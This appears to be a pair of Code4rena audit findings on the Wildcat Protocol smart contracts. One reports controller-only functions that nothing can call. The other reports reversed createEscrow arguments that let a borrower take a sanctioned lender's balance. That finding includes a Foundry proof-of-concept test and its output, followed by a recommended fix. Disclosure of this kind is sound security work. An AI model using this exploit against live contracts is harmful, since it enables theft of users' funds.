The Wildcat Protocol - tallo's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L142 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134

Vulnerability details

Impact

Certain market functionality such as closing and changing the max total supply are not accessible

Vulnerability Explanation

WildcatMarket#closeMarket has the onlyController modifier which only allows the controller contract to make this call.

function closeMarket() external onlyController nonReentrant {//...}

However, there doesn't exist any function inside the WildcatMarketController that calls the closeMarket function, therefore it isn't callable.

The same is true with WildcatMarketConfig#setMaxTotalSupply

  function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyController nonReentrant {//..}

Tools Used

VIM grep

Recommended Mitigation Steps

Add functionality inside WildcatMarketController that calls closeMarket and setMaxTotalSupply

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L172

Vulnerability details

Impact

The borrower is able to steal the lenders balance

Vulnerability Explanation

When the createEscrow function is called in executeWithdrawal and WildcatMarketBase the parameters borrower and account are passed in reverse order.

  //WildcatMarketBase.sol
  function _blockAccount(MarketState memory state, address accountAddress) internal {
    Account memory account = _accounts[accountAddress];

    //..
      
    if (scaledBalance > 0) {
        account.scaledBalance = 0;
        //@audit here the parameters are passed in reverse order
        //should be createEscrow(borrower, accountAddress, address(this) instead
        address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
          accountAddress, //should be borrower
          borrower, //shoulder be accountAddress
          address(this)
        );

    //..
  }

//WildcatSanctionsSentinel.sol
function createEscrow(
    address borrower, //account is passed in instead
    address account, //borrower is passed in instead
    address asset 
  ) public override returns (address escrowContract) {//..}

Proof of Concept

Place the following PoC for a sanctioned lender inside market/WildcatMarketConfig.t.sol This is a PoC for a borrower stealing a sanctioned lenders funds

  function test_nukeFromOrbitBug() external {
    _deposit(alice, 1e18);

    address escrow = sanctionsSentinel.getEscrowAddress(alice, borrower, address(market));

    console.log("Sanctioning the lender...");
    sanctionsSentinel.sanction(alice);
    console.log("\nBalance of borrower before: %s ETH", market.balanceOf(borrower)/1e18);
    console.log("Balance of lender before:   %s ETH\n", market.balanceOf(alice)/1e18);

    console.log("Nuking lender...");
    market.nukeFromOrbit(alice);

    vm.startPrank(alice);
    console.log("is lender sanctioned: %s\n", uint(market.getAccountRole(alice)) == uint(AuthRole.Blocked));

    console.log("releasing escrow...");
    WildcatSanctionsEscrow(escrow).releaseEscrow();
    console.log("\nBalance of borrower after: %s ETH", market.balanceOf(borrower)/1e18);
    console.log("Balance of lender after:   %s ETH\n", market.balanceOf(alice)/1e18);

    console.log("Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance.");
    console.log("The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions.");
    console.log("What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral");
    console.log("If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds");


    vm.stopPrank();
  }

Output:

  Sanctioning the lender...
  
Balance of borrower before: 0 ETH
  Balance of lender before: 1 ETH

  Nuking lender...
  is lender sanctioned: true

  releasing escrow...
  
Balance of borrower after: 1 ETH
  Balance of lender after: 0 ETH

  Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance.
  The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions.
  What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral
  If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds

Tools Used

VIM

Recommended Mitigation Steps

Correct the order that parameters are passed when calling createEscrow

Assessed type

Other